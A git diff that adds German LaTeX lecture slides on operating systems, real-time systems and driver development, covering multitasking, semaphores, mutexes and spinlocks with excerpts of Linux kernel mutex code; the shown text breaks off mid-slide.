diff --git a/20220314/Operating_system_placement-de.pdf b/20210409/Operating_system_placement-de.pdf
similarity index 100%
rename from 20220314/Operating_system_placement-de.pdf
rename to 20210409/Operating_system_placement-de.pdf
diff --git a/20210409/bs-20210409-fig1.tex b/20210409/bs-20210409-fig1.tex
new file mode 100644
index 0000000000000000000000000000000000000000..0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0
--- /dev/null
+++ b/20210409/bs-20210409-fig1.tex
@@ -0,0 +1,11 @@
+\documentclass{article}
+\input tmp.inputs
+\pagestyle{empty}
+\begin{document}
+      \begin{pspicture}(6,2)
+        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
+        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
+        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
+      \end{pspicture}
+    
+\end{document}
diff --git a/20210409/bs-20210409-fig2.tex b/20210409/bs-20210409-fig2.tex
new file mode 100644
index 0000000000000000000000000000000000000000..0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0
--- /dev/null
+++ b/20210409/bs-20210409-fig2.tex
@@ -0,0 +1,11 @@
+\documentclass{article}
+\input tmp.inputs
+\pagestyle{empty}
+\begin{document}
+      \begin{pspicture}(6,2)
+        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
+        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
+        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
+      \end{pspicture}
+    
+\end{document}
diff --git a/20210409/bs-20210409.pdf b/20210409/bs-20210409.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..f1a3b188e2d9f110ededbdd531406973391a2b72
Binary files /dev/null and b/20210409/bs-20210409.pdf differ
diff --git a/20210409/bs-20210409.tex b/20210409/bs-20210409.tex
new file mode 100644
index 0000000000000000000000000000000000000000..6631f38607d915dc319433f6db9e32f9fb6a5427
--- /dev/null
+++ b/20210409/bs-20210409.tex
@@ -0,0 +1,1576 @@
+% bs-20110409.pdf - Lecture Slides on Operating Systems
+% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021  Peter Gerwinski
+%
+% This document is free software: you can redistribute it and/or
+% modify it either under the terms of the Creative Commons
+% Attribution-ShareAlike 3.0 License, or under the terms of the
+% GNU General Public License as published by the Free Software
+% Foundation, either version 3 of the License, or (at your option)
+% any later version.
+%
+% This document is distributed in the hope that it will be useful,
+% but WITHOUT ANY WARRANTY; without even the implied warranty of
+% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+% GNU General Public License for more details.
+%
+% You should have received a copy of the GNU General Public License
+% along with this document.  If not, see <http://www.gnu.org/licenses/>.
+%
+% You should have received a copy of the Creative Commons
+% Attribution-ShareAlike 3.0 Unported License along with this
+% document.  If not, see <http://creativecommons.org/licenses/>.
+
+\documentclass[10pt,t]{beamer}
+
+\usepackage{pgslides}
+\usepackage{rotating}
+\usepackage{pdftricks}
+\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
+\usepackage{eurosym}
+\usepackage{tikz}
+
+\begin{psinputs}
+  \usepackage[latin1]{inputenc}
+  \usepackage[german]{babel}
+  \usepackage[T1]{fontenc}
+  \usepackage{helvet}
+  \renewcommand*\familydefault{\sfdefault}
+  \usepackage{pstricks}
+  \psset{unit=1cm}
+\end{psinputs}
+
+\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme}
+\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
+\date{9.\ April 2021}
+
+\begin{document}
+
+\newlength{\normalpdfpageheight}
+\setlength{\normalpdfpageheight}{\pdfpageheight}
+
+\maketitleframe
+
+\date{\begin{picture}(0,0)
+        \color{red}
+        \put(0.265,1.05){\makebox(0,0)[t]{$\underbrace{\rule{1.45cm}{0pt}}_{%
+          \mbox{\emph{rerum naturalium\/} = der natürlichen Dinge (lat.)}}$}}
+      \end{picture}%
+        9.\ April 2021}
+
+\maketitleframe
+
+\author{{\color{gray}Prof.\ Dr.\ rer.\ nat.\ }Peter {\color{gray}Gerwinski}}
+
+\maketitleframe
+
+\sectionnonumber{Vorab: Online-Werkzeuge}
+
+\begin{frame}
+
+  \showsectionnonumber
+  \begin{itemize}
+    \item
+      \textbf{Mumble}: Seminarraum 2\\
+      Fragen: Mikrophon einschalten oder über den Chat\\
+      Umfragen: über den Chat
+    \smallskip
+    \item
+      \textbf{VNC}: Kanal 6, Passwort: \lstinline[style=cmd]{testcvh}\\
+      Eigenen Bildschirm freigeben: per VNC-Server oder Web-Interface\\
+      Kamerabild übertragen: Link zu Web-Interface auf Anfrage
+    \smallskip
+    \item
+      Allgemeine Informationen:
+      \url{https://www.cvh-server.de/online-werkzeuge/}
+    \smallskip
+    \item
+      Notfall-Schnellzugang: \url{https://www.cvh-server.de/virtuelle-raeume/}\\
+      Seminarraum 2, VNC-Passwort: \lstinline[style=cmd]{testcvh}
+    \smallskip
+    \item
+      Bei Problemen: bitte notieren:\\
+      Art des Problems, genaue Uhrzeit, JavaScript-Fehlermeldungen (F12)
+    \bigskip
+    \item
+      GitLab: \url{https://gitlab.cvh-server.de/pgerwinski/bs}\\
+      Links auf die Datei klicken, nicht mittig auf den Kommentar.
+  \end{itemize}
+
+\end{frame}
+
+\sectionnonumber{Treiberentwicklung, Echtzeit- und Betriebssysteme}
+
+%\begin{frame}
+%
+%  \showsectionnonumber
+%
+%  \begin{itemize}
+%    \item[\textbf{1}] \textbf{Einführung}
+%    \item[\textbf{\dots}]
+%  \end{itemize}
+%
+%\end{frame}
+
+\section{Einführung}
+
+\begin{frame}
+
+  \showsection
+
+  Was ist ein Betriebssystem?
+
+  \pause
+  \strut\hfill
+  \begin{picture}(0,0)
+    \put(0,1.5){\makebox(0,0)[tr]{\includegraphics[height=7cm]{Operating_system_placement-de.pdf}}}
+  \end{picture}
+  \begin{itemize}
+    \item
+      Software, die zwischen Hardware\\
+      und Anwendung vermittelt
+    \pause\bigskip
+    \item
+      Mikro-Controller:\\
+      Anwendung greift \emph{direkt\/} auf Hardware zu
+    \pause\bigskip
+    \item
+      Eingebettetes System:\\
+      Anwendung startet automatisch
+    \item
+      Arbeitsplatz-Computer:
+      \newterm{Oberfläche (Shell)}\\
+      Benutzer*in wählt Anwendung aus
+    \pause\bigskip
+    \item
+      Ressourcen-Verwaltung
+  \end{itemize}
+  \pause
+  \begin{picture}(0,0)
+    \put(7.5,6.1){\makebox(0,0)[bl]{\tikz{\draw[line width=1pt] (0,0)--(4.6,1.5);}}}
+    \put(7.5,7.6){\makebox(0,0)[tl]{\tikz{\draw[line width=1pt] (0,0)--(4.6,-1.5);}}}
+    \put(7.8,0.2){\makebox(0,0)[tl]{\tikz{\draw[line width=1pt, rounded corners] (0,0)--(4.1,0)--(4.1,1.2)--(0,1.2)--cycle;}}}
+    \put(9.85,-0.5){\makebox(0,0.1){Benutzer*in}}
+    \put(8.97,0.12){\makebox(0,0)[bl]{\tikz{\draw[line width=3pt, ->] (0,0)--(0,0.65);}}}
+    \put(10.63,0.17){\makebox(0,0)[bl]{\tikz{\draw[line width=3pt, ->] (0,0.65)--(0,0);}}}
+  \end{picture}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+
+  Was gehört zum Betriebssystem?
+
+  \strut\hfill
+  \begin{picture}(0,0)
+    \thicklines
+    \put(-3,0){\vector(0,-1){7}}
+    \put(-2.8,-0.5){\makebox(0,0)[l]{Ja, klar!}}
+    \put(-2.8,-6.5){\makebox(0,0)[l]{Hmm\,\dots\ vielleicht.}}
+  \end{picture}
+
+  \begin{itemize}
+    \item
+      Betriebssystemkern: \newterm{Kernel}
+    \item
+      Benutzeroberfläche: \newterm{Shell}\\
+      text- oder grafikorientiert\\
+      (im engeren Sinne: Kommandozeile)
+    \item
+      Werkzeuge zur Verwaltung von Ressourcen\\
+      (z.\,B.\ Festplatten formatieren)
+    \item
+      Graphische Benutzeroberfläche: \newterm{GUI}
+    \item
+      Texteditor
+    \item
+      Entwicklungswerkzeuge (Compiler usw.),\\
+      Skriptsprachen
+    \item
+      Internet-Software: Web-Browser, E-Mail-Client usw.
+    \item
+      Multimedia-Software
+    \item
+      Büro-Anwendungssoftware
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+
+  In dieser Lehrveranstaltung:
+  \begin{itemize}
+    \item
+      Treiberentwicklung\\
+      wie in \emph{Hardwarenahe Programmierung\/} (3./5.\ Sem.), nur "`größer"'
+    \item
+      Echtzeitsysteme\\
+      wie in \emph{Eingebettete Systeme\/} (3./5.\ Sem.), nur "`größer"'
+    \item
+      neu: Betriebssysteme
+  \end{itemize}
+
+  \pause
+  \medskip
+
+  Statt Klausur: Projektaufgabe, z.\,B.:
+  \begin{itemize}
+    \item
+      neuartiger Treiber (z.\,B.\ für neuartige Hardware)
+    \item
+      neuartige Echtzeit-Funktionalität
+      \begin{onlyenv}<3->
+        \begin{picture}(0,0)
+          \color{red}
+          \put(0.3,0.25){\makebox(0,0)[tl]{\begin{minipage}{6cm}
+              speziell: Echtzeitkommunikation\\
+              für Home-Office und Online-Lehre
+            \end{minipage}}}
+        \end{picture}%
+      \end{onlyenv}%
+    \item
+      Sonstiges
+  \end{itemize}
+
+  \pause
+  \pause
+  \medskip
+
+  Wiederholung:
+  \begin{itemize}
+    \item
+      Unix
+    \item
+      Hardwarenahe Programmierung
+    \item
+      Theorie der Echtzeit-Systeme
+    \item[\textbf{?}]
+      Sonstiges
+  \end{itemize}
+
+\end{frame}
+
+\iffalse
+
+\begin{frame}
+  {\tiny\color{gray}Diese Folie wurde weitgehend absichtlich leer gelassen.}
+\end{frame}
+
+\section{Der Bootvorgang}
+
+\begin{frame}
+
+  \showsection
+
+  \begin{itemize}
+    \item
+      Rechner einschalten\\
+      \textarrow\ Programm im Festspeicher (ROM) startet
+    \item
+      Mikro-Controller: Das war's schon.\\
+      Arbeitsplatzrechner: Weiter geht's.
+    \item
+      Programm spricht Datenträger an,\\
+      lädt und startet größeres Programm,\\
+      kann mehr Datenträger ansprechen
+    \item
+      größeres Programm lädt noch größeres Programm
+    \item
+      \dots
+    \item
+      Zuletzt: Programm starten, das mit dem Benutzer interagiert
+    \bigskip
+    \item
+      abstraktes Beispiel: Bootloader, Kernel, Anmelde-Prozeß
+    \item
+      konkretes Beispiel: Linux\\
+      GRUB-Stages, Kernel mit initrd, init, getty und/oder Display-Manager
+  \end{itemize}
+
+\end{frame}
+
+\setcounter{section}{3}
+\section{Echtzeit}
+\subsection{Was ist Echtzeit?}
+
+\begin{frame}
+
+  \showsection
+  \vspace{-\smallskipamount}
+  \showsubsection
+
+  \begin{itemize}
+    \item
+      Animation in Echtzeit:\\
+      schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
+    \item
+      Fantasy-Rollenspiel in Echtzeit:\\
+      Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
+    \item
+      Datenverarbeitung in Echtzeit:\\
+      Die Daten werden so schnell verarbeitet, wie sie anfallen.
+    \item
+      speziell: Echtzeit-Steuerung von Maschinen:\\
+      Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
+    \smallskip
+    \arrowitem
+      "`Schnell genug."'
+  \end{itemize}
+  
+\end{frame}
+
+\begin{frame}
+
+  \showsubsection
+
+  "`Schnell genug."' -- "`Und wenn nicht?"'
+
+  \begin{itemize}
+    \item
+      "`Ganz schlecht."' \textarrow\ \newterm{harte Echtzeit}\\[2pt]
+    rechtzeitiges Ergebnis funktionsentscheidend
+
+    \smallskip
+
+    \item
+      "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}\\[2pt]
+      verspätetes Ergebnis qualitätsmindernd
+      \begin{itemize}
+        \baselineskip14pt\par
+        \item
+          verwenden und Verzögerung in Kauf nehmen
+        \item
+          verwerfen und Ausfall in Kauf nehmen
+      \end{itemize}
+
+    \smallskip
+
+    \item
+      "`Es gibt keinen festen Termin. Möglichst schnell halt."'\\[2pt]
+      \textarrow\ \newterm{keine Echtzeit}
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsection
+
+  Das Problem:
+  \vspace{-\bigskipamount}
+  \begin{center}
+%    \begin{picture}(6,2)
+%      \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
+%      \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
+%      \put(2.75,0.875){\vector(1,3){0.25}}
+%      \put(2.75,0.875){\line(2,1){0.5}}
+%      \put(3.25,1.125){\vector(-1,-3){0.25}}
+%    \end{picture}
+    \begin{pdfpic}
+      \begin{pspicture}(6,2)
+        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
+        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
+        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
+      \end{pspicture}
+    \end{pdfpic}
+  \end{center}
+
+  Beispiel:
+  \begin{itemize}
+    \item
+      Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
+      dessen Berechnung maximal \SI{10}{\mics} dauert.
+    \item
+      Entweder: Der Steuer-Computer macht noch andere Dinge.\\
+      \textarrow\ Risiko der Zeitüberschreitung
+    \item
+      Oder: Der Steuer-Computer macht nichts anderes.\\
+      \textarrow\ Verschwendung von Rechenzeit\\
+      {\color{red}\textarrow\ Na und?}
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \showsubsection
+
+  Das Problem:
+  \vspace{-\bigskipamount}
+  \begin{center}
+    \begin{pdfpic}
+      \begin{pspicture}(6,2)
+        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
+        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
+        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
+      \end{pspicture}
+    \end{pdfpic}
+  \end{center}
+
+  \medskip
+
+  {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
+
+  \medskip
+
+  Große Stückzahlen
+  \begin{itemize}
+    \item
+      138\,000 Toyota Prius V von Mai 2011 bis April 2012
+  \end{itemize}
+
+  \medskip
+
+  Wertvolle Ressourcen
+  \begin{itemize}
+    \item
+      Fähigkeiten einer Raumsonde optimieren
+      % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg)
+      % 70000000 / 550000 = 127._27
+      % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
+      % \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}}
+    \item
+      Implantat: Platz- und Stromverbrauch minimieren
+      % \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}}
+  \end{itemize}
+
+  \bigskip
+
+  \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
+  \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
+
+\end{frame}
+
+\subsection{Multitasking}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  \begin{minipage}[t]{6cm}
+    Qualitätssicherung beim Multitasking
+    \begin{itemize}
+      \item
+        Verschiedene Anforderungen:
+        \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
+        vs.\ \newterm{Durchsatz}
+      \item
+        Ressourcen reservieren:\\
+        \newterm{Mutexe}
+        (= spezielle \newterm{Semaphore\/})\\
+        \strut
+      \item
+        Verschiedene Methoden\\
+        der Priorisierung\\
+        \strut
+      \item
+        Umgehung der Probleme durch
+        speziell geschriebene Software\\
+        (MultiWii, RP6, \dots)
+    \end{itemize}
+  \end{minipage}
+  \hfill
+  \begin{minipage}[t]{6.2cm}
+    Qualitätssicherung für Netzwerke:
+    \begin{itemize}
+      \item
+        Verschiedene Anforderungen:
+        \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
+      \item
+        Ressourcen reservieren:\\
+        \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
+      \item
+        Klassifizierung und Priorisierung:
+        \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
+        bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
+      \item
+        Eigenes Protokoll (Telefondienste):\\
+        \newterm{Asynchronous Transfer Mode (ATM)}
+    \end{itemize}
+  \end{minipage}
+
+\end{frame}
+
+% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
+
+% evtl. Aufgabe: Warte-Problem
+
+% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
+% das o.a. Zuteilungsproblem?
+
+% Danach: Semaphoren, Mutexe, Spinlocks
+% Priorisierungsmethoden und -probleme
+
+\subsectionnonumber{Beispiele für Multitasking}
+
+\begin{frame}
+
+  \showsubsectionnonumber
+
+  Quadrocopter-Steuerung \emph{MultiWii}
+  \begin{itemize}
+    \item
+      Konfiguration durch bedingte Compilierung (Präprozessor)
+    \item
+      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
+      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
+  \end{itemize}
+
+  RP6-Steuerung
+  \begin{itemize}
+    \item
+      Konfiguration durch bedingte Compilierung (Präprozessor)
+    \item
+      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
+      Die Interrupt-Handler zählen Variable hoch.
+    \item
+      10000mal pro Sekunde: Timer-Interrupt\\
+      verschiedene Tasks werden unterschiedlich häufig aufgerufen
+    \item
+      Nebenbei: 1 Benutzerprogramm
+  \end{itemize}
+
+  Linux 0.01
+  \begin{itemize}
+    \item
+      Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
+      Task mit höchstem Zähler bekommt Rechenzeit.
+    \item
+      Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
+      bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
+    \item<3->
+      \emph{keine\/} harte Echtzeit
+      % Aufgabe: Wo wird der Zähler heruntergezählt?
+  \end{itemize}
+
+\end{frame}
+
+\iffalse
+
+\subsectionnonumber{Zombies}
+
+\begin{frame}
+
+  \showsubsectionnonumber
+
+  \pause
+  Wikipedia:
+  \begin{quote}
+    Als Zombie wird die fiktive Figur eines zum Leben erweckten
+    Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
+    Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
+    aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
+    dort ursprünglich einen Totengeist.
+  \end{quote}
+
+  \bigskip
+
+  \pause
+  Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
+  bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
+  hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
+  wird aber noch in der Prozeßliste geführt ("`untot"').
+  \begin{itemize}
+    \pause
+    \item
+      Warum?
+      \textarrow\
+      Ein anderer Prozeß (Elternprozeß) wartet noch auf den
+      Rückgabewert des beendeten Prozesses.
+    \pause
+    \item
+      Schadet das?
+      \textarrow\
+      Nein.
+    \pause
+    \item
+      Aber?
+      \textarrow\
+      Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
+      Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
+    \pause
+    \item
+      Beispiel:
+      Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
+      \textarrow\
+      Tochterprozesse werden zu Zombies.
+  \end{itemize}
+
+\end{frame}
+
+\fi
+
+\subsection{Ressourcen}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ressourcen reservieren
+  \begin{itemize}
+    \item
+      \newterm{Semaphor}\\
+      gemeinsame Variable mehrerer Prozesse\\
+      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
+      Ressource belegt \textarrow\ Kontextwechsel
+      \begin{onlyenv}<1>
+        \par\medskip
+        griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
+        "`Eisenbahnsignal"'
+        \vspace*{-3cm}
+      \end{onlyenv}
+    \pause
+    \medskip
+    \item
+      \newterm{Mutex}\\
+      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
+      auf eine Ressource zugreifen kann
+      \begin{onlyenv}<2>
+        \par\medskip
+        englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
+        spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
+        % allgemein: auch jemand anderer dürfte freigeben
+        \vspace*{-3cm}
+      \end{onlyenv}
+    \pause
+    \medskip
+    \item
+      \newterm{Spinlock} (\emph{busy waiting\/})\\
+      leichtgewichtige Alternative zu Kontextwechsel
+      \begin{onlyenv}<3>
+        \par\medskip
+        englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
+        \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
+        Hardware-Unterstützung:
+        Prüfen, ob Variable bestimmten Wert hat;\\
+        wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
+        \vspace*{-3cm}
+      \end{onlyenv}
+    \pause
+    \medskip
+    \item
+      \newterm{Kritischer Abschnitt -- critical section}\\
+      Programmabschnitt zwischen Reservierung\\
+      und Freigabe einer Ressource\\
+      \textarrow\ sollte immer so kurz wie möglich sein
+      \vspace*{-1cm}
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ressourcen reservieren: Beispiele
+  \begin{itemize}
+    \item
+      \newterm{Semaphor}\\
+      \file{linux-3.7-rc1/kernel/semaphor.c}\\
+      \file{linux-3.7-rc1/drivers/usb/core/file.c}
+    \medskip
+    \item
+      \newterm{Mutex}\\
+      \file{linux-3.7-rc1/kernel/mutex.c}\\
+      \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}
+    \medskip
+    \item
+      \newterm{Spinlock}\\
+      \file{linux-3.7-rc1/kernel/spinlock.c}\\
+      \file{linux-3.7-rc1/kernel/semaphor.c},
+      \file{linux-3.7-rc1/kernel/mutex.c}
+  \end{itemize}
+
+  % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
+
+  % evtl. Aufgabe: Warte-Problem
+
+  % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
+  % das o.a. Zuteilungsproblem?
+
+  % Danach: Semaphoren, Mutexe, Spinlocks
+  % Priorisierungsmethoden und -probleme
+
+  % Festplatten: completely fair queueing
+  % cat /sys/block/sdc/queue/scheduler
+  % "noop" hat sich für SVG gelohnt
+
+  % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
+
+\end{frame}
+
+\begin{frame}[fragile]
+
+  \textbf{Beispiel:}
+  \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
+
+  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
+
+  \medskip
+
+  \begin{lstlisting}
+    struct usb_serial *usb_serial_get_by_index (unsigned index)
+    {
+      struct usb_serial *serial;
+      mutex_lock (&table_lock);
+      serial = serial_table[index];
+      if (serial)
+        {
+          mutex_lock (&serial->disc_mutex);
+          if (serial->disconnected)
+            {
+              mutex_unlock (&serial->disc_mutex);
+              serial = NULL;
+            }
+          else
+            kref_get (&serial->kref);
+        }
+      mutex_unlock (&table_lock);
+      return serial;
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(5.1,6.85){\vector(-1,0){0.5}}
+    \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
+    \put(5.4,1.35){\vector(-1,0){0.5}}
+    \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
+  \end{picture}
+
+\end{frame}
+
+\setlength{\pdfpageheight}{48cm}
+
+\begin{frame}[fragile]
+
+  \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
+
+  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
+
+  \medskip
+
+  \begin{lstlisting}
+    void __sched mutex_lock (struct mutex *lock)
+    {
+      might_sleep ();
+      __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
+      mutex_set_owner (lock);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(11.6,1.35){\line(-1,0){1}}
+    \put(11.6,1.35){\line(0,-1){2.45}}
+    \put(11.6,-1.10){\vector(-1,0){2.0}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
+
+  Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
+
+  \medskip
+
+  Assembler:
+  \begin{lstlisting}[language={[x86masm]Assembler}]
+        lock dec (lock->count)
+        jns 1
+        call __mutex_lock_slowpath
+    1:
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9,0.95){\line(-1,0){3.5}}
+    \put(9,0.95){\line(0,-1){2.5}}
+    \put(9.0,-1.55){\vector(-1,0){1.0}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
+
+  \medskip
+
+  \begin{lstlisting}
+    static __used noinline void __sched
+      __mutex_lock_slowpath (atomic_t *lock_count)
+    {
+      struct mutex *lock = container_of (lock_count, struct mutex, count);
+      __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
+                               NULL, _RET_IP_);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(11.0,1.40){\line(-1,0){1.0}}
+    \put(11.0,1.40){\vector(0,-1){2.5}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
+
+  \medskip
+
+  \begin{lstlisting}
+    static inline int __sched
+    __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
+                             struct lockdep_map *nest_lock, unsigned long ip)
+    {
+      struct task_struct *task = current;
+      struct mutex_waiter waiter;
+      unsigned long flags;
+
+      preempt_disable ();
+      mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
+
+      /* ... */
+
+      spin_lock_mutex (&lock->wait_lock, flags);
+
+      debug_mutex_lock_common (lock, &waiter);
+      debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
+
+      /* add waiting tasks to the end of the waitqueue (FIFO): */
+      list_add_tail (&waiter.list, &lock->wait_list);
+      waiter.task = task;
+
+      if (atomic_xchg (&lock->count, -1) == 1)
+        goto done;
+
+      lock_contended (&lock->dep_map, ip);
+
+      for (;;)
+        {
+          /*
+           * Lets try to take the lock again - this is needed even if
+           * we get here for the first time (shortly after failing to
+           * acquire the lock), to make sure that we get a wakeup once
+           * it's unlocked. Later on, if we sleep, this is the
+           * operation that gives us the lock. We xchg it to -1, so
+           * that when we release the lock, we properly wake up the
+           * other waiters:
+           */
+          if (atomic_xchg (&lock->count, -1) == 1)
+            break;
+
+          /*
+           * got a signal? (This code gets eliminated in the
+           * TASK_UNINTERRUPTIBLE case.)
+           */
+          if (unlikely (signal_pending_state (state, task)))
+            {
+              mutex_remove_waiter (lock, &waiter, task_thread_info (task));
+              mutex_release (&lock->dep_map, 1, ip);
+              spin_unlock_mutex (&lock->wait_lock, flags);
+
+              debug_mutex_free_waiter (&waiter);
+              preempt_enable ();
+              return -EINTR;
+            }
+          __set_task_state (task, state);
+
+          /* didn't get the lock, go to sleep: */
+          spin_unlock_mutex (&lock->wait_lock, flags);
+          schedule_preempt_disabled ();
+          spin_lock_mutex (&lock->wait_lock, flags);
+        }
+
+    done:
+      lock_acquired (&lock->dep_map, ip);
+      /* got the lock - rejoice! */
+      mutex_remove_waiter (lock, &waiter, current_thread_info ());
+      mutex_set_owner (lock);
+
+      /* set it to 0 if there are no waiters left: */
+      if (likely (list_empty (&lock->wait_list)))
+        atomic_set (&lock->count, 0);
+
+      spin_unlock_mutex (&lock->wait_lock, flags);
+
+      debug_mutex_free_waiter (&waiter);
+      preempt_enable ();
+
+      return 0;
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(7.9,28.3){\vector(-1,0){0.5}}
+    \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
+    \put(7.4,2.3){\vector(-1,1){0.4}}
+    \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
+  \end{picture}
+
+\end{frame}
+
+\setlength{\pdfpageheight}{40.5cm}
+
+\begin{frame}[fragile]
+
+  \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
+
+  Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
+
+  \medskip
+
+  \begin{lstlisting}
+    #define spin_lock_mutex(lock, flags) \
+      do \
+        { \
+          spin_lock (lock); \
+          (void) (flags); \
+        } \
+      while (0)
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(8.5,1.75){\line(-1,0){4.5}}
+    \put(8.5,1.75){\line(0,-1){2.9}}
+    \put(8.5,-1.15){\vector(-1,0){1.0}}
+  \end{picture}
+
+  \bigskip
+
